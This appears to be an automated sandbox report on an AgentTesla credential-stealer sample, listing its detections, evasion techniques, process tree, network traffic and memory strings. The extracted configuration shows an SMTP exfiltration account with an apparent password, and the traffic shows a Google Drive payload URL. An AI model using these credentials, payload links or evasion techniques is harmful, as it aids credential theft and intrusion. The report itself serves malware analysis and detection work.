Play interactive tour

Edit tour

Windows Analysis Report BESTPREIS-ANFRAGE.exe

Overview

General Information

Sample Name:	BESTPREIS-ANFRAGE.exe
Analysis ID:	1348
MD5:	8d3b546ad98991973c7e6711e41a89ad
SHA1:	c14f4afa5d0c5b29087d5d43a6c9f1b9c2393c19
SHA256:	5fdae1f887f2b5fd73bd94b5bf0f4168600c285238114fb016afe88da811312c
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Sigma detected: RegAsm connects to smtp port

Hides threads from debuggers

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to steal Mail credentials (via file access)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Uses SMTP (mail sending)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SGDT)

Classification

Process Tree

System is w10x64native

BESTPREIS-ANFRAGE.exe (PID: 8700 cmdline: 'C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe' MD5: 8D3B546AD98991973C7E6711E41A89AD)

RegAsm.exe (PID: 9036 cmdline: 'C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe' MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 6300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "murbano@reyesyasociados.com495QTi314mail.reyesyasociados.comonyecarl@gmail.com"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 9036	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegAsm.exe PID: 9036	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Overview

Networking:

Sigma detected: RegAsm connects to smtp port

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 109.169.39.245, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, Initiated: true, ProcessId: 9036, Protocol: tcp, SourceIp: 192.168.11.20, SourceIsIpv6: false, SourcePort: 49743

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: BESTPREIS-ANFRAGE.exe.8700.0.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "murbano@reyesyasociados.com495QTi314mail.reyesyasociados.comonyecarl@gmail.com"}

Multi AV Scanner detection for submitted file

Show sources

Source: BESTPREIS-ANFRAGE.exe	Virustotal: Detection: 37%			Perma Link
Source: BESTPREIS-ANFRAGE.exe	ReversingLabs: Detection: 28%

Source: BESTPREIS-ANFRAGE.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.11.20:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.11.20:49722 version: TLS 1.2

Networking:

Source: Joe Sandbox View

ASN Name: IOMART-ASGB IOMART-ASGB

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie- HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mp23n2nm4qcasn0vhrka4v4fvnfn0u94/1632513150000/07102252199039532779/*/1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie-?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-00-04-docs.googleusercontent.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.11.20:49743 -> 109.169.39.245:587

Source: global traffic

TCP traffic: 192.168.11.20:49743 -> 109.169.39.245:587

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: RegAsm.exe, 00000014.00000002.5638634145.000000001E183000.00000004.00000001.sdmp

String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C

Source: RegAsm.exe, 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegAsm.exe, 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: RegAsm.exe, 00000014.00000002.5640770224.000000001E24B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: RegAsm.exe, 00000014.00000003.1082677975.000000000142B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegAsm.exe, 00000014.00000002.5640770224.000000001E24B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: RegAsm.exe, 00000014.00000002.5640770224.000000001E24B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: RegAsm.exe, 00000014.00000003.1082677975.000000000142B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegAsm.exe, 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp	String found in binary or memory: http://gnOVon.com
Source: RegAsm.exe, 00000014.00000002.5640770224.000000001E24B000.00000004.00000001.sdmp	String found in binary or memory: http://mail.reyesyasociados.com
Source: RegAsm.exe, 00000014.00000002.5640770224.000000001E24B000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: RegAsm.exe, 00000014.00000003.1086601627.0000000001426000.00000004.00000001.sdmp	String found in binary or memory: https://doc-00-04-docs.googleusercon
Source: RegAsm.exe, 00000014.00000003.1082677975.000000000142B000.00000004.00000001.sdmp	String found in binary or memory: https://doc-00-04-docs.googleusercontent.com/
Source: RegAsm.exe, 00000014.00000003.1082677975.000000000142B000.00000004.00000001.sdmp	String found in binary or memory: https://doc-00-04-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mp23n2nm
Source: RegAsm.exe, 00000014.00000002.5615568574.00000000013A8000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/
Source: RegAsm.exe, 00000014.00000003.1082677975.000000000142B000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie-
Source: RegAsm.exe, 00000014.00000002.5614989503.0000000001330000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie-wininet.dllMozilla/5
Source: RegAsm.exe, 00000014.00000002.5639800683.000000001E1EB000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/
Source: RegAsm.exe, 00000014.00000002.5638634145.000000001E183000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com//
Source: RegAsm.exe, 00000014.00000002.5638634145.000000001E183000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: RegAsm.exe, 00000014.00000002.5638634145.000000001E183000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/v104
Source: RegAsm.exe, 00000014.00000002.5640457497.000000001E231000.00000004.00000001.sdmp, RegAsm.exe, 00000014.00000002.5640770224.000000001E24B000.00000004.00000001.sdmp, RegAsm.exe, 00000014.00000003.1996647693.000000001CE81000.00000004.00000001.sdmp, RegAsm.exe, 00000014.00000002.5641167195.000000001E276000.00000004.00000001.sdmp	String found in binary or memory: https://rKiZMXFEA0H5.org
Source: RegAsm.exe, 00000014.00000002.5640770224.000000001E24B000.00000004.00000001.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: RegAsm.exe, 00000014.00000002.5639800683.000000001E1EB000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: RegAsm.exe, 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie- HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mp23n2nm4qcasn0vhrka4v4fvnfn0u94/1632513150000/07102252199039532779/*/1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie-?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-00-04-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.11.20:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.11.20:49722 version: TLS 1.2

Source: BESTPREIS-ANFRAGE.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_01008C70	20_2_01008C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0100A2E8	20_2_0100A2E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_01000720	20_2_01000720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_01000780	20_2_01000780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_010056D8	20_2_010056D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_01044320	20_2_01044320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0104C7B0	20_2_0104C7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_01043A50	20_2_01043A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0104BA50	20_2_0104BA50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_01043708	20_2_01043708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_010A6D90	20_2_010A6D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_010A07E0	20_2_010A07E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_014DBB98	20_2_014DBB98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_014DD21E	20_2_014DD21E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_014D41D1	20_2_014D41D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_014D32A8	20_2_014D32A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_014D1D28	20_2_014D1D28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_014D9600	20_2_014D9600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_1E115E08	20_2_1E115E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_1E114ACC	20_2_1E114ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_1E116AF1	20_2_1E116AF1

Source: BESTPREIS-ANFRAGE.exe, 00000000.00000002.1108966632.0000000000416000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameVENALIZE.exe vs BESTPREIS-ANFRAGE.exe
Source: BESTPREIS-ANFRAGE.exe	Binary or memory string: OriginalFilenameVENALIZE.exe vs BESTPREIS-ANFRAGE.exe

Source: BESTPREIS-ANFRAGE.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: BESTPREIS-ANFRAGE.exe	Virustotal: Detection: 37%
Source: BESTPREIS-ANFRAGE.exe	ReversingLabs: Detection: 28%

Source: BESTPREIS-ANFRAGE.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe 'C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe'
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe'	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe

File created: C:\Users\user\AppData\Local\Temp\~DFCEFB22F8D667D7C5.TMP

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@4/1@3/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6300:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6300:120:WilError_03

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_00409087 push ss; ret	0_2_004090BD
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_00408917 pushfd ; retf	0_2_00408918
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_004059D8 push edx; retf	0_2_00405A0E
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_00408A48 push ecx; ret	0_2_00408A56
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_00402A69 push es; iretd	0_2_00402A6F
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_0040AA6F push esp; retf	0_2_0040AA71
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_00405218 push ebx; iretd	0_2_00405229
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_00409B16 pushad ; retf	0_2_00409B19
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_0223323A push eax; ret	0_2_0223323B
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_02233EBD push A1BCEED2h; retf	0_2_02233EC3
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_02233320 push 14390C24h; ret	0_2_02233325
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_02233752 push ss; iretd	0_2_0223377C
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_02234BF5 push esp; retf	0_2_02234BF6
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_02231BCE push ecx; ret	0_2_02231BD6
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Code function: 0_2_02233DF0 push 00000076h; ret	0_2_02233DF2

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
